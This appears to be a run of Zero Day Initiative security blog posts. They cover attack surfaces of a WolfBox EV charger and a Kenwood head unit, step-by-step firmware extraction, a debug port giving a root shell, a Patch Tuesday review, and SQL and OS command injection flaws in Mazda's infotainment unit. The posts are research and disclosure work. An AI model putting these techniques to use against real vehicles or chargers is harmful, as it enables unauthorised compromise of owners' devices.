Zero Day Initiative

The WolfBox E40 is a Level 2 electric vehicle charge station designed for residential home use. Its hardware has a minimal user interface, providing a Bluetooth Low Energy (BLE) interface for configuration and an NFC reader for user authentication. Typical for this class of devices, the appliance employs a mobile application for the owner's installation and regular operation of the equipment.

At the moment of writing, the software versions were reported as follows:

·      Main module: 3.1.17
·      MCU module: 1.2.6
·      Mobile application: 1.0.3

The manufacturer distributes one application to configure and maintain the device. The application, named WolfBox EV, is available for both Android and iOS users.

Figure 1 - Application Start Screen

Interestingly, the application apparently allows pairing and managing with more than the expected EV charger devices; when attempting to add a new device, a list is presented that includes several other ostensibly known and accepted device types, such as lamps, switches, doorbells, mosquito repellent heaters, irrigators and battery packs, to name a few.

While Trend Micro Zero Day Initiative (ZDI) did not thoroughly investigate this application for vulnerabilities or other bugs, problems in mobile applications have been used by threat actors in the past and represent a significant attack surface. Even though the mobile application itself is out of scope for the Pwn2Own Automotive contest, the research community ought to thoroughly review it.

Trend ZDI researchers have analyzed the discrete hardware components found in the device. The device itself is comprised of several printed circuit boards (PCBs) hosting the system; the “main PCB” contains power and communications electronics, while the human-machine interface is spread over three more PCBs, carrying correspondingly the LCD display, the NFC reader, and the LEDs.

Below is a list of notable parts on the main PCB:

·      GigaDevice GD32F307VET6 (U12), ARM Cortex-M4 with 512K Flash
·      Tuya CBU-IPEX WiFi/BLE radio (U11)
·      Atmel ATMLH242 04CM (U13), likely to be an AT24C04 serial EEPROM
·      Winbond 25Q64JVSIQ (U14), 64MB serial Flash

On the board itself, the two terminal blocks on the left couple the device to both the power inlet from the grid and to the charging cable. The two relay units control the flow of power, with current transformers inserted inline. On the right-hand side at the top, the board houses a low-current switching power supply for its finer electronics. Below it, there is a 1.0F supercap, the MCU, and the Wi-Fi/BLE communications module. Finally, there is an undocumented DIP switch and a host of connectors with nothing connected to them except the last one; the single white wire goes to the CP line of the charging plug.

Figure 2 - WolfBox power/processing board—top

Of special note is the CN17 connector located right beside the MCU, which is used for SWD debugging.

On the bottom side, the only component of note is the serial Flash chip.

Figure 3 - WolfBox power/processing board—bottom

Finally, the main PCB is covered in conformal coating. Trend Micro researchers discovered the coating to be soluble in acetone, allowing for easy removal where needed to facilitate probing.

As a final note, Tuya provides some documentation regarding the wire protocol between their modules and system MCUs.

The display and LED boards do not present much in terms of interesting components. The NFC board, however, carries a SmartLink SL2823 NFC interface chip coupled to an anonymous part ostensibly used to translate between the SmartLink chip and the rest of the system.

Figure 4 - WolfBox NFC board

In terms of potential attack surface and vectors, the outermost exposed interfaces are handled by the communications module, which then passes messages to the main MCU that, in turn, controls the power and human interfaces. As such, compromising the communications module may be a required step.

The manufacturer, WolfBox, does not appear to provide any way to download firmware images or update packages for the device.

Thus, upon the discovery of CN17, an attempt was made to extract the firmware from the GigaDevice MCU. By connecting a ST-Link V2 dongle, the MCU was detected successfully by the ST-Link software, allowing its on-chip Flash memory to be read. This brought an unexpected end to the MCU firmware extraction journey.

Extracting firmware from the communications module proved to be a little more involved. The documentation for the module SoC – BK7231N – could be found on the Tuya website. It is said the chip has either 2MB or 4MB of Flash memory. Further research uncovered a tool used by the open-source community to program custom firmware to Tuya devices, among others. Trend ZDI researchers used the tool to read a Flash image out from the module SoC. This required some soldering: a USB-to-UART dongle was used to communicate with the module with the following connections:

·      Module TX on pin 15 -> UART bridge RX (white)
·      Module RX on pin 16 -> UART bridge TX (green)
·      Module ground on pin 16 -> UART bridge ground (black)

In addition, the module CEN (reset) signal on pin 18 was also used, and power was supplied from a bench power supply via CN17.

Figure 5 - A view of the USB-to-UART dongle soldered in place

After all connections were made, the following procedure was used to extract the flash contents:

1. Press and hold the SW2 button; this will hold the main MCU in reset, preventing it from interfering with communications.
2. Supply power to the board.
3. Start the uartprogram downloader script. The script will get stuck at Read Getting Bus....
4. Short the CEN signal to ground for a bit. The RF shield on the module can be used for that. This will apparently reboot the module into a state where the script can interact with it.
5. Check if readout has started on the console. If not, retry step 4 until successful. The script may need to be restarted.
6. Power off the board after the download has been completed.

Here is what it should look like on the console, along with the command line parameters that were used:

Without going too deep, Trend ZDI researchers performed an initial analysis of the GigaDevice firmware.

As is typical for MCU-based devices, the firmware is one solid blob without any discernible structure such as a filesystem. Upon analyzing ASCII strings present in the dumped firmware image, it became obvious the firmware is built on top of uC/OS II, an embedded real-time operating system (RTOS). Multiple references to mBedTLS version 2.16.4 are also visible. Alongside that, there are multiple AT commands. This suggests the MCU handles communications via a missing wireless module. However, in the present configuration, it would seem the bulk of handling Wi-Fi, BLE, TCP/IP, and TLS falls upon the communications module.

Unfortunately, there were not too many useful strings encountered in the communications module firmware. Most were JSON data which looked like logging records of some sort. The image itself appears to be partitioned as follows, with spans of unprogrammed memory in between:

·      0x000000: medium entropy; machine code. This is the bootloader.
·      0x011000: medium entropy; machine code. This is the application.
·      0x12B000: high entropy; unknown. This appears to be encrypted in ECB mode.
·      0x1CF000: high entropy; unknown. This appears to be encrypted in ECB mode.
·      0x1D0000: low entropy; marked as “TLV”.
·      0x1D2000: low entropy; this could be some kind of filesystem. This is where log-like JSON data was identified.
·      0x1ED000: high entropy; unknown. This appears to be encrypted in ECB mode.

Worth noting: Tuya provides SDK source code access for BK7231N, which may prove useful during reverse engineering and vulnerability research efforts. That said, Trend ZDI did not verify whether there were any changes made for WolfBox products.

Using a BLE scanning tool, the Trend ZDI researchers observed the following Bluetooth LE endpoints on the WolfBox E40.

When powered on, the device is visible under the name `TUYA_`. The device exposes a single service with three characteristics.

It is reasonable to assume this is what the mobile application uses to discover the device. Additional information can be likely obtained by reverse engineering the mobile application.

The charger can connect to a local Wi-Fi network. Trend ZDI researchers connected one device to investigate the network-side attack surface exposed by the device.

During the initial setup, the charger reached out to h3-eu.iot-dns.com (alias of a3480a15a4710bb9d.awsglobalaccelerator.com, IP address 15.197.184.59) via HTTPS. This was followed by TCP port 443 connections to IP address 18.195.249.137, which had no prior DNS queries, and then again followed by a connection to 18.185.146.33 (AWS), TCP port 8886.

UDP communication over port 7000 was also observed. Initially, the phone sent out packets to this port to broadcast addresses and received a response from the device’s address. The packet contents are, unfortunately, encrypted in some way.

Figure 6 - Observed network communications

The phone also reached out to TCP port 6668 on the device. The observed traffic followed the same format with mostly encrypted payloads.

After the app checked for software updates and was allowed to update to the latest version, the device queried DNS for fireware-ttls.tuyaeu.com (alias of tuya-fireware-update-8b783aab86e29e3a.elb.eu-central-1.amazonaws.com, IP 18.197.251.244) and connected to TCP port 2443 (protected by TLS) and proceeded to download the update. The device rebooted immediately after the download.

Having completed the update, the device queried DNS for m3.tuyaeu.com (alias of out-mqtt-tytls-43c09399a95b9ab8.elb.eu-central-1.amazonaws.com, IP 18.185.146.33 – matching the prior IP) and connected to TCP port 8886 there. This was followed by a query for a3.tuyaeu.com (IP 18.195.249.137 – matching the prior IP) and a connection to TCP port 443 there as well.

The device kept TCP port 6668 open for connections over Wi-Fi. Of note, in-app actions related to device configuration (e.g., LED setup) resulted in communications over that connection.

Further research into the encrypted local communications pointed to this being a Tuya-specific protocol. Open-source implementations exist for it as well, such as the tuyapi library. This could be used as a good starting point in building a fuzzer for this protocol.

While these may not be the only attack surfaces available on the WolfBox E40 unit, they represent the most likely avenues a threat actor may use to exploit the device. We’re excited to see what research is displayed in Tokyo during the Pwn2Own Automotive event. Stay tuned to the blog for attack surface reviews for other devices, and if you’re curious, you can see all the devices included in the contest.

Until then, you can find me on Mastodon at @infosecdj, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

In our previous Kenwood DMX958XR blog post, we detailed the internals of the Kenwood in-vehicle infotainment (IVI) head unit and provided annotated pictures of each PCB. In this post, we aim to outline the attack surface of the DMX958XR in the hopes of providing inspiration for vulnerability research.

We will cover the main supported technologies that present potential attack surfaces, such as USB, Bluetooth, Android Auto, Apple CarPlay, Kenwood apps, and more. We also provide a list of the open-source components the DMX958XR claims to use.

All information has been obtained through reverse engineering, experimenting, and combing through the following resources:

·      Kenwood DMX958XR Product Page
·      Kenwood DMX958XR Instruction Manual [PDF]
·      Kenwood DMX958XR Quick Start Guide [PDF]
·      Kenwood Portal App
·      Kenwood Remote S App

USB

The DMX958XR is equipped with a single USB-C port that operates at USB 2.0 speeds and provides the necessary interface for wired Android Auto and Apple CarPlay. The USB port also supports playback of audio files from a USB flash drive. The supported audio filetypes and their associated extensions are:

·      MP3 (.mp3)
·      WMA (.wma)
·      AAC-LC (.m4a)
·      WAV (.wav)
·      FLAC (.flac, .fla)
·      Vorbis (.ogg)

Beyond just audio, a USB flash drive can also be used to play back video files. The supported video file types and their associated extensions are:

·      MPEG-1 (.mpg, .mpeg)
·      MPEG-2 (.mpg, .mpeg)
·      H.264 / MPEG-4 (.mp4, .m4v, .avi, .flv, .f4v)
·      WMV (.wmv)
·      MKV (.mkv)

Robustly parsing and decoding these file formats is notoriously complicated and error-prone, which makes for a potentially rewarding attack surface. USB flash drives must be formatted as either FAT16, FAT32, exFAT, or NTFS for the head unit to be able to read them.

Bluetooth

Bluetooth version 5 is supported by the head unit and is used for making phone calls, receiving calls, and playing audio from a paired mobile phone. The following Bluetooth profiles are implemented:

·      Hands-Free Profile v1.7
·      Serial Port Profile
·      Phonebook Access Profile
·      Audio/Video Remote Control Profile (AVRCP) v1.6
·      Advanced Audio Distribution Profile (A2DP)   
·     Supporting codecs: SBC, AAC or LDAC

Android Auto, Apple CarPlay, and the Kenwood apps all utilize Bluetooth in varying capacities. 

Wi-Fi

The head unit provides a Wi-Fi access point, which is primarily used for wireless Android Auto and Apple CarPlay. There is no intention for the end user to directly connect to this access point, and there is no officially documented way of acquiring the password. However, internal research has discovered multiple methods to obtain the password. Once connected to the access point the following ports are listening:

·      TCP: 7000, 8086
·      UDP: 67, 5353, 35917, 50002, 60794

The two TCP ports and UDP port 50002 are of particular interest since they are running non-standard services.

Android Auto and Apple CarPlay

Both wired and wireless Android Auto and Apple CarPlay are supported without the need for a third-party application to be installed on the paired mobile phone. When using the wireless versions, the paired phone connects to the aforementioned Wi-Fi network to establish a high-bandwidth channel for data to be sent and received. When connecting using a USB cable, the Wi-Fi network isn't used by Android Auto or Apple CarPlay, but it is still active.

Pwn2Own Automotive 2024 didn’t see any entries that leveraged Android Auto or Apple CarPlay functionality to compromise a head unit. We will have to wait and see if Pwn2Own Automotive 2025 does!

Kenwood Apps

Kenwood offers two Android/iOS apps to interface with the DMX958XR. The first app is the Kenwood Portal App, which allows users to transfer photos from a mobile phone to the head unit over Bluetooth. The transferred photos can then be viewed as a slideshow on the head unit or be used as wallpaper.

This presents an interesting attack surface – especially if the DMX958XR itself performs any complex image handling tasks on the received images, such as resizing or converting between different image formats. The user-supplied images also need to be persisted in the head unit's filesystem, further expanding the attack surface.

The second app is the Kenwood Remote S app, which connects to the head unit over Bluetooth and allows for multimedia control, such as selecting a radio station, skipping a track, and more. The Bluetooth Audio/Video Remote Control Profile (AVRCP) is designed for this task. However, no research was performed to confirm if the Remote S app takes advantage of AVRCP. There are a few other Kenwood apps available, but they are not listed as supported on the DMX958XR product page and therefore have not been explored.

Open Source Software

A list of open-source licenses can be viewed from the head unit by navigating to Menu -> Settings -> Special -> Open Source Licenses. There is no guarantee these open-source projects are actually used, but a complete list of the projects is provided at the end of this blog post. Where available, the versions of the projects have also been included.

Summary

We hope that this blog post has provided enough information about the DMX958XR attack surface to guide vulnerability research. Not every attack surface has been mentioned and we encourage researchers to investigate further. The next post in this series will cover details of the DMX958XR firmware.

We are looking forward to Automotive Pwn2Own, again to be held in January 2025 at the Automotive World conference in Tokyo. We will see if IVI vendors have improved their product security. Don’t wait until the last minute to ask questions or register! We hope to see you there.

You can find me on Twitter at @ByteInsight, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Open Source Software List

Below is a complete list of all the open-source software the head unit claims to use:

·      OpenSSL (2011)
·      SSLeay (1998)
·      ALSA
·      BusyBox
·      Cairo
·      D-Bus
·      dnsmasq (2014)
·      e2fsprogs (2007)
·      Freeware Advanced Audio Coder v1.36 (2009)
·      flac (2014)
·      fontconfig (2012)
·      GLIB (1997)
·      bashline (1993)
·      iconv (2011)
·      GNU MP (2007)
·      GNU readline (2005)
·      GNU tar (2006)
·      gstreamer (2000)
·      GdkPixbuf (1999)
·      GnuTLS (2012)
·      HarfBuzz (2012)
·      ICU (2015)
·      ImageMagick (2016)
·      iperf (2007)
·      libpng (2019)
·      libusb (2015)
·      xiph (2015)
·      libxml2 (2012)
·      libxslt (2002)
·      Naver fonts (2007)
·      GIO (2010)
·      OpenSSH
·      OpenSSL (2011)
·      PCI Utilities v3.3.1 (2015)
·      Qt (2013)
·      Bluetooth SBC library (2013)
·      Sysvinit (2004)
·      Info-ZIP (2007)
·      bzip2 v1.0.6 (2010)
·      cURL (2015)
·      dpkg (1995)
·      libffi (2014)
·      libjpeg v9a (2014)
·      XFree86 (2000)
·      libproxy (2006)
·      libX11 (2006)
·      soup-cache (2010)
·      nettle (2002)
·      libdpkg (1995)
·      pango (1999)
·      sysctl v1.0.1 (1999)
·      alloc (2002)
·      pslash (2006)
·      tslib (2001)
·      libudev (2011)
·      usbmisc (2003)
·      zlib v1.2.8
·      s-bios (2011)
·      devmem2 (2000)
·      hostapd (2015)
·      hidapi (2010)
·      wpa-supplicant (2015)
·      OpenMax (2008)
·      oRTP (2015)
·      unzip v1.1 (2010)
·      hts_engine (2011)
·      google-breakpad (2006)
·      boost v1.0 (2003)
·      SQLite (2001)
·      PCRE (2019)
·      OpenGL (2012)
·      base64 (2001)
·      mDNSResponder
·      RapidJSON (2015)
·      crc32 (2005)
·      zconf (2005)

For the upcoming Pwn2Own Automotive contest, a total of four in-vehicle infotainment (IVI) head units have been selected as targets. One of these is the double DIN Kenwood DMX958XR. This unit offers a variety of functionality, such as wired and wireless Android Auto and Apple CarPlay, as well as USB media playback, wireless mirroring, and more.

This blog post presents internal photos of the DMX958XR boards and highlights each of the interesting components. A hidden debugging interface is also detailed which can be leveraged to obtain a root shell.

Internals

The DMX958XR is a compact unit that contains multiple interconnected boards. Fortunately, the most interesting board is at the top of the unit and can be easily accessed by removing a few screws and metal plates.

The topside of the main board contains a video processing IC, PMIC, NAND flash, and two DDR3 SDRAMs.

Figure 1 - Main board (top)

Carefully flipping the main board over reveals the SoC, radio module, eMMC, and more RAM. Be careful not to tear the ribbon cable that is attached to the underside of the board!

Figure 2 - Main board (underside)

In the center of Figure 2 is a Murata radio module that handles Wi-Fi and Bluetooth operations. Searching around for the exact model number that is etched onto the shielding does not return much information, but the FCC documents for the DMX958XR state that this is the Murata LBEE6ZZ1WD-334. This module has no public datasheet available and isn't listed on Murata's site.

To the right of the radio module is the Telechips TCC8974 SoC, which is marketed as an "IVI and Cluster solution" that supports running Android, Linux, and QNX. The TCC8974 uses a 32-bit ARM core and has multimedia hardware acceleration capabilities. Off to the right of the SoC is the supporting SDRAM and eMMC that the TCC8974 requires.

For completeness, annotated photos of the other boards are provided below. These boards serve varying purposes, such as GPS and audio.

Figure 3 - Board 1 (top). GPS, iDatalink, Sirius XM, microphone, dash cam

Figure 4 - Board 2 (top). AKM Digital Signal Processor (DSP)

Figure 5 - Board 2 (underside). Freescale MCU

Figure 6 - Board 3 (top). Camera, speakers, antenna, STM audio processor

Figure 7 - Board 3 (side). Unused 8-pin connector. Purpose unknown

Debug Connector

Eagle-eyed readers may have noticed a suspicious-looking edge connector shown in Figure 1 that is slightly off to the right of the NAND flash. This exposes a Linux login prompt over UART at 115200bps. Logging in with the correct credentials will spawn a root shell.

Figure 8 - Debug connector

Summary

Hopefully, this blog post provides enough information to kickstart vulnerability research against the DMX958XR. Keep an eye out for future posts that cover the threat landscape of the DMX958XR.

We are looking forward to Automotive Pwn2Own, again to be held in January 2025 at the Automotive World conference in Tokyo. We will see if IVI vendors have improved their product security. Do not wait until the last minute to ask questions or register! We hope to see you there.

You can find me on Twitter at @ByteInsight, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

It’s not quite the holiday season, despite what some early decorators will have you believe. It is the second Tuesday of the month, and that means Adobe and Microsoft have released their regularly scheduled updates. Take a break from your regular activities and join us as we review the details of their latest security alerts.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for November 2024

For November, Adobe released eight patches addressing 48 CVEs in Adobe Bridge, Audition, After Effects, Substance 3D Painter, Illustrator, InDesign, Photoshop, and Commerce. The largest of these fixes is for Substance 3D Painter with 22 Critical and Important CVEs. The next largest is the patch for Illustrator, with nine CVEs addressed. The fix for After Effects addresses six bugs – three Critical and three Important. The worst of these could allow arbitrary code execution. That’s the same story for the InDesign patch. There’s a single server-side request forgery (SSRF) in Commerce, but it requires authentication. There’s also a single, Critical-rated CVE in Photoshop, which requires user interaction in the form of opening a file. The remaining fixes from Adobe are only Important rated, with two bugs in Adobe Bridge and a single bug in Adobe Audition.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for November 2024

This month, Microsoft released 89 new CVEs in Windows and Windows Components; Office and Office Components; Azure; .NET and Visual Studio; LightGBM; Exchange Server; SQL Server; TorchGeo; Hyper-V; and Windows VMSwitch. One of these vulnerabilities was reported through the ZDI program. With the addition of the third-party CVEs, the entire release tops out at 92 CVEs.

Of the patches released today, four are rated Critical, 84 are rated Important, and one is rated Moderate in severity. This represents another large month of fixes from the Redmond giant and puts them at 949 CVEs addressed so far this year. Even before counting the fixes in December, 2024 is Microsoft's second-largest year for fixes.

Microsoft lists three of these CVEs as publicly known, but I disagree and put the count at five (more on that later). They also list two as being exploited in the wild at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently under active attack:

CVE-2024-43451 - NTLM Hash Disclosure Spoofing Vulnerability
It seems we can never fully escape Internet Explorer. Despite it being retired by Microsoft, it still remains in the form of MSHTML and is accessible through the WebBrowser control and other means. That is what is being abused by attackers here to disclose the victim’s NTLMv2 hash, which could then be used by the attacker to authenticate as the user. User interaction is required, but that doesn’t seem to stop these attacks from being effective. As always, Microsoft does not give any indication of how widespread these attacks are, but I would not wait to test and deploy this update.

CVE-2024-49039 - Windows Task Scheduler Elevation of Privilege Vulnerability
Here’s another local privilege escalation bug being used in the wild. However, this isn’t the straightforward EoP we typically see. In this case, the bug allows an AppContainer escape – allowing a low-privileged user to execute code at Medium integrity. You still need to be able to execute code on the system for this to occur, but container escapes are still quite interesting as they are rarely seen in the wild. This was reported by multiple researchers, which indicates the bug is being exploited in multiple regions. Hopefully one of the researchers will provide additional details about the vulnerability now that a fix is available.

 CVE-2024-43639 - Windows Kerberos Remote Code Execution Vulnerability
I don’t often get excited about bugs (ok – that’s a lie – I totally do), but this CVSS 9.8 bug excites me. The vulnerability allows a remote, unauthenticated attacker to run code on an affected system by leveraging a bug in the cryptographic protocol. No user interaction is required. Since Kerberos runs with elevated privileges, that makes this a wormable bug between affected systems. What systems are impacted? Every supported version of Windows Server. I somehow doubt this will actually be seen in the wild, but I wouldn’t take that chance. Test and deploy this fix quickly.

CVE-2024-43498 - .NET and Visual Studio Remote Code Execution Vulnerability
This is one of the bugs I say is public even though Microsoft doesn’t, as it sure looks like this issue. This is another CVSS 9.8 and would allow attackers to execute code by sending a specially crafted request to an affected .NET webapp. The attacker could also convince a target to load a specially crafted file from an affected desktop app. Either way, the resulting code execution would occur at the level of the application, so it may be paired with an EoP if it were to be seen in the wild. Definitely check your .NET and Visual Studio apps and patch them as needed.

Here’s the full list of CVEs released by Microsoft for November 2024:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

** Indicates this bug is not listed as public by Microsoft but considered to be public for the purposes of this blog.

† Indicates further administrative actions are required to fully address the vulnerability.

There are only two other Critical-rated bugs receiving fixes this month, and both involve privilege escalations. The bug in VMSwitch could allow a low-privileged user on a guest OS to execute their code at SYSTEM on the underlying host OS. That’s officially a Bad Thing™. The other Critical-rated bug resides in a cloud service, so the vulnerability has already been mitigated and is now being documented.

There are more than 50 other code execution bugs this month, but most of these impact SQL Server. These require an affected system to connect to a malicious SQL database, so the likelihood of exploitation is pretty low. There is one SQL bug that requires additional attention. CVE-2024-49043 requires an update to OLE DB Driver 18 or 19, but may also require third-party fixes, too. Ensure you read that one carefully and apply all the needed fixes. There are also quite a few open-and-own bugs in Office components, but none involve the Preview Pane. There are a half-dozen RCE bugs in the Telephony service. These all require the target to connect to a malicious server, but this could be done by tricking the user into sending a request to the attacker-controlled server.

Of the more interesting RCE bugs, the SMBv3 bug stands out. An attacker could exploit this by using a malicious SMB client to mount an attack against an affected SMB server. Interestingly, this is only applicable to SMB over QUIC, which might not be a common setup. Another interesting bug is a CVSS 9.9 vulnerability in the Azure CycleCloud. This does require basic permissions but could be used to gain root-level permissions and allow them to execute commands on any Azure CycleCloud cluster in the current instance. Neat. There’s an RCE in TouchGeo, which is a PyTorch domain library for use with machine learning. There’s no real information about the vulnerability, but it can be hit remotely and doesn’t require user interaction. Finally, there’s the Microsoft update for OpenSSL. They do not list this as public, but this bug was documented back in June. Even though this is a third-party update, I find not listing this as public is disingenuous.

There are more than two dozen fixes for privilege escalation bugs in this release. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. However, there are a few that stand out. The bugs in the USB Video Class System require physical access as the attacker needs to plug in a USB device. This would also lead to SYSTEM-level code execution. The escalation in Active Directory Certificates would allow an attacker to gain administrative privileges, but only if your PKI environment is set to specific parameters, so read the bulletin for details. The bugs in Azure Database for PostgreSQL could lead to the same privileges as the SuperUser role. The bug in PC Manager allows attackers to delete files, which can be used to elevate privileges. The Visual Studio bug just gets to the privileges of the current user. Finally, the bug in Hyper-V could allow a guest-to-host code execution at SYSTEM on the host OS. Microsoft lists this as a CVSS 8.8, but considering this could be viewed as a scope change (going from guest OS to SYSTEM), I would rate it at a 9.9.

There are only two Security Feature Bypass (SFB) bugs in the November release. The bug in Word could allow attackers to bypass Office Protected View. Not surprisingly, the bypass in the Windows Defender Application Control (WDAC) allows attackers to bypass WDAC enforcement and run unauthorized apps.

There’s only a single information disclosure bug getting fixed this month, and it resides in the Windows Package Library Manager. It allows attackers to expose privileged information belonging to the user of the affected application.

There are a couple of spoofing bugs being addressed, and the first is in Exchange Server. Microsoft doesn’t list what is being spoofed, but with Exchange Server, this often leads to NTLM relays. And you’ll need to do more than patch this bug. You need to take the additional actions listed here to be fully protected, which is just what every Exchange admin wants to hear. The other spoofing bug is in DNS. Again, no real information is given by Microsoft, but DNS spoofing bugs typically lead to altered DNS responses.

The November release is rounded out by four denial-of-service (DoS) bugs. As usual, Microsoft provides next to no information about these bugs or their impact. The only exception to this is the DoS bug in Hyper-V, which could be used to execute a cross-VM attack – allowing one guest VM to impact other guest VMs on the same hypervisor.

There are no new advisories in this month’s release.

Looking Ahead

The final Patch Tuesday of 2024 will be on December 10, and I’ll return with details and patch analysis at that time. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Multiple vulnerabilities have been discovered in the Mazda Connect Connectivity Master Unit (CMU) system installed in multiple car models, such as the Mazda 3 model year 2014-2021. Like in so many cases, these vulnerabilities are caused by insufficient sanitization when handling attacker-supplied input. A physically present attacker could exploit these vulnerabilities by connecting a specially crafted USB device – such as an iPod or mass storage device – to the target system. Successful exploitation of some of these vulnerabilities results in arbitrary code execution with root privileges.

The specific CMU unit that was the target of the research was manufactured by Visteon, while the software was initially developed by Johnson Controls Inc (JCI). The research was performed against the latest available software version (74.00.324A). Earlier software versions down to at least 70.x may also be affected by these vulnerabilities.

Notably, the CMU has a very active “modding scene” with the community releasing multiple software “tweaks” to alter the operation of the unit. The installation of these tweaks typically relied on software vulnerabilities. At the time of publication, we are unaware of any publicly known vulnerabilities in the latest firmware version.

Hardware Design

The unit exterior looks like this:

There is a sticker on the bottom with some technical information about the unit. The sticker notes the specific CMU model being MAZDA_GEN_65_CMU.

On the back, the unit provides multiple connectors that carry power, audio input/output, USB and CAN signals, and a serial console.

Inside, the unit is built on a single PCB which carries an application SoC (Freescale part number SCIMX06DAVT10AC), an assortment of memory ICs (a serial Flash on the back of the board, a NAND Flash, and an eMMC), an auxiliary MCU (Renesas part number R5F35MCEJFF), and a Bluetooth module (Murata part number LBEE6Z2U0C-584).

The functionality available on the edge connectors was not explored in this research.

Typically, in designs where there is more than one processing unit present, some degree of separation is implemented. User-facing applications handled by a rich OS (i.e., QNX, Linux, Android, etc.) run on the application SoC, while CAN connectivity is handled by an MCU usually running an RTOS. This appears to be the case for this unit as well.

Software design

On the software side of things, the unit’s main SoC is running a Linux-based OS image, as evidenced by the following output (abbreviated here) captured via the serial console:

While there is a login prompt, authentication credentials for the latest software version are not publicly known. The console proceeds to serve a vast amount of logging output, which could be useful for testing exploits.

When fully booted, the system has the following file systems mounted:

All the persistent memory storage is accessible from the OS. The serial Flash is present as the mtdblockpartitions, the NAND is present as the ffx01 partitions, and the eMMC as the mmcblk partitions. Notably, several file systems are mounted read-write as signified by the rw string included in parentheses.

The Software Update Process

The software on the unit can be updated from the diagnostic menu:

The update process expects a file with the .up extension to be located on a mass storage device connected via USB. The dealer could then enter this diagnostic menu and start the update process.

Software update files are password-protected ZIP archives containing multiple directories for various steps in the update process, as well as an “instruction” file describing how to perform the update. There are 21 steps in the latest update file. Of special interest is the contents of the following directories:

• rootfs1upd containing a .tar.gz archive of the entire root file system,
• linux1 containing the Linux kernel 3.0.35,
• ibc1 and ibc2 containing a bootloader,
• bootstrap containing yet another bootloader,
• passwdupdate containing the replacement passwd file,
• vip containing the update image for the auxiliary MCU.

The majority of the update process is implemented in several shared objects. All business logic is located in svcjciupdatea.so and svcjciupdates.so, which use supporting code in libjcireflashua.so and libjcisecurity.so. The update process was investigated only up to the point of signature verification. Further investigation would assume the ability to produce either properly signed updates or a signature verification bypass. Unfortunately, the former was not available at the time of this research, and the latter was not discovered during this effort.

On a high level, the update verification process is contained in the svcjciupdates.so:updates_sys_srv_ValidatePackageOperationThread() function, which calls other functions to perform verification steps in the given order:

• updates_sys_srv_LoadUP() parses the specified update file, extracts the main_instructions.ini and versions.ini files, and stores them in memory for later use.
• updates_sys_srv_ValidateUPStructure() validates whether the internal structure of the update file matches the expected layout. This was not an issue when the format of proper update files was followed to create an exploit.
• updates_sys_srv_ExtractCertificates() extracts the signing certificate chain from the update file to be used for update verification. The chain contains the publisher certificate used to sign the update and an intermediate CA certificate that issued the publisher certificate. The intermediate CA certificate is issued by the JCI root CA.
• updates_sys_sec_VerifyUPCertificates() verifies the extracted certificate chain to ensure the chain properly terminates in the expected root CA stored on the device.
• updates_sys_sec_VerifyUPSignature() verifies the signature of a specified update file against the publisher certificate. The signature in this case is located at the end of the update file and is 256 bytes long.
• updates_sys_srv_RemoveExtractedCertificates() cleans up after the verification process.

Of particular note is the fact that multiple operations are performed on the supplied update file by the updates_sys_srv_LoadUP() function and its callees before any integrity checks occur against the user-supplied file.

Multiple vulnerabilities were discovered during our research effort, which can be used in conjunction to achieve a complete and persistent compromise of the infotainment system.

This vulnerability was the first bug discovered during research, spurring a deeper look into this unit.

The specific vulnerability exists in the eInsertDeviceEntry() function of the /jci/devicemanager/libdevicemanager.so library. When attempting to insert a new Apple device into the DeviceDatabase.db SQLite database, several values are taken from the device and used in an SQL statement without sanitization. See the following pseudocode implementation of the eInsertDeviceEntry() function:

Because of this, when the infotainment system detects an Apple device has been connected and requests, for example, its iAP serial number, a spoofed iPod or other Apple device can instead reply with a string along the lines of:

This leads to the DeviceManager executing the injected SQL statement on the infotainment system with root privileges. This could be used to manipulate the database itself, disclose information, create arbitrary files on the file system, and possibly execute code. Exploitation of this vulnerability is somewhat limited due to an apparent length limitation of 0x36 bytes on the input, but this could potentially be worked around by having several spoofed iPods connect one after the other, each with its own injected SQL statements in place of a serial number.

One of the multitude of functions supporting the update process is the REFLASH_DDU_FindFile() function found in the libjcireflashua.so shared object. The pseudocode for this function is reproduced below for clarity:

The function attempts to find a specific file within the update package specified via the provided file path. This is performed by interpolating the provided path into a command line for the unzip program. Unfortunately, no sanitization is performed before that occurs, and attacker-controlled input (e.g., /dev/sda1/path/file.up) is passed to the system() function. This allows the attacker to inject arbitrary OS commands that will be executed by the head unit OS shell, allowing for a full compromise of the system. The attacker can control both the path and file elements of the overall path.

The affected function can be reached via the following call graph:

• UPDATES_SYS_IPC_INTERFACE_GetPackageInfo_svc in svcjciupdates.so
• UPDATES_SYS_SRV_GetPackageInfo
• updates_sys_srv_GetPackageInfoOperationThread
• updates_sys_srv_LoadUP
• REFLASH_UA_LoadUP in libjcireflashua.so
• REFLASH_DDU_FindFile

One of the multitude of functions supporting the update process is the REFLASH_DDU_ExtractFile() function found in the libjcireflashua.so shared object. The pseudocode for this function is reproduced below for clarity:

The function attempts to extract a specific file from the update package specified by the path supplied through the up_path argument. This interpolates the provided path into a command line for the unzip program. Unfortunately, no sanitization is performed before that occurs, and attacker-controlled input (e.g., /dev/sda1/path/file.up) is passed to the system() function. The attacker can control both path and file elements of the overall path. This allows the attacker to inject arbitrary OS commands that will be executed by the head unit OS shell, allowing for a full compromise of the system.

The affected function can be reached via the following call graph:

• UPDATES_SYS_IPC_INTERFACE_GetPackageInfo_svc in svcjciupdates.so
• UPDATES_SYS_SRV_GetPackageInfo
• updates_sys_srv_GetPackageInfoOperationThread
• updates_sys_srv_LoadUP
• REFLASH_UA_LoadUP in libjcireflashua.so
• REFLASH_DDU_ExtractFile

One of the various functions supporting the update process is the UPDATES_ExtractFile() function found in the svcjciupdates.so shared object. The pseudocode for this function is partially reproduced below for clarity:

